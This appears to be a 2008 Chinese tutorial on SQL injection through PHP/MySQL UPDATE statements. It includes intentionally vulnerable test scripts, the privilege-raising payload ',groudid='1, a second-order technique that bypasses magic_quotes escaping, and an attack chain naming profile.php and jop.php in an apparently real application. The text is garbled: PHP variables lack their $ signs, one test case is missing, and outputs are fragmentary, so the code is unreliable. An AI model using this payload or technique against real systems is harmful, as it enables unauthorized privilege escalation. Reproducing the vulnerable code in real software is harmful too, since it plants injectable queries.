分类:
2008-04-18 09:03:24
一.测试环境:
OS: Windowsxp sp2
php: php 4.3.10 (
4.1.9
1.3.33
二.测试结构:
-----start--- -- 数据库: `test` -- -- -------------------------------------------------------- -- -- 表的结构 `userinfo` -- CREATE TABLE `userinfo` ( `groudid` varchar(12) NOT NULL default ’1’, `user` varchar(12) NOT NULL default ’heige’, `pass` varchar(122) NOT NULL default ’123456’ ) ENGINE=MyISAM DEFAULT CHARSET=latin1; -- -- 导出表中的数据 `userinfo` -- INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’); ------end------- |
|
mysql> select * from userinfo; +---------+-------+--------+ | groudid | user | pass | +---------+-------+--------+ | 1 | heige | 123456 | +---------+-------+--------+ 1 row in set (0.01 sec) |
用户heige的groudid又2改为1了 :)
所以我们可以得到没有’’或"" update的注射是可以成功的,这个就是我们的模式1。
2,变量带’’或""[MOD2]
//test2.php servername = "localhost"; dbusername = "root"; dbpassword = ""; dbname = "test"; mysql_connect(servername,dbusername,dbpassword) or die ("数据库连接失败"); sql = "update userinfo set pass=’p’ where user=’heige’";//<--P使用单引号 result = mysql_db_query(dbname, sql); userinfo = mysql_fetch_array(result); echo " SQL Query:sql "; |
为了关闭’我们构造p应该为123456’,groudid=’2 提交:
’,groudid=’1 在gpc=on的情况下’变成了\’
提交的语句变成:SQL Query:update userinfo set pass=’123456\’,groudid=\’1’ where user=’heige’
mysql查询:
mysql> select * from userinfo; +---------+-------+--------------------+ | groudid | user | pass | +---------+-------+--------------------+ | 2 | heige | 123456’,groudid=’1 | +---------+-------+--------------------+ 1 row in set (0.00 sec) |
//test3.php Mod2 servername = "localhost"; dbusername = "root"; dbpassword = ""; dbname = "test"; mysql_connect(servername,dbusername,dbpassword) or die ("数据库连接失败"); sql = "update userinfo set pass=’p’ where user=’heige’";//<--P使用单引号 result = mysql_db_query(dbname, sql); mysql_fetch_array(result); //p的数据写入数据库 sql= "select pass from userinfo where user=’heige’"; result = mysql_db_query(dbname, sql); userinfo=mysql_fetch_array(result); echo userinfo[0]; //把pass查询输出给userinfo[0] sql ="update userinfo set pass=’userinfo[0]’ where user=’heige’"; result = mysql_db_query(dbname, sql); mysql_fetch_array(result); //把userinfo[0] 再次update ?> |
我们测试下,提交:’,groudid=’1
回mysql查询下 :
mysql> select * from userinfo; +---------+-------+--------+ | groudid | user | pass | +---------+-------+--------+ | 1 | heige | 123456 | +---------+-------+--------+ 1 row in set (0.00 sec) |
漏洞分析: update (profile.php 注射变量为proicon update语句里为,icon=’userdb[icon]’) | v select (jop.php) | v updtate (jop.php) Exploit: |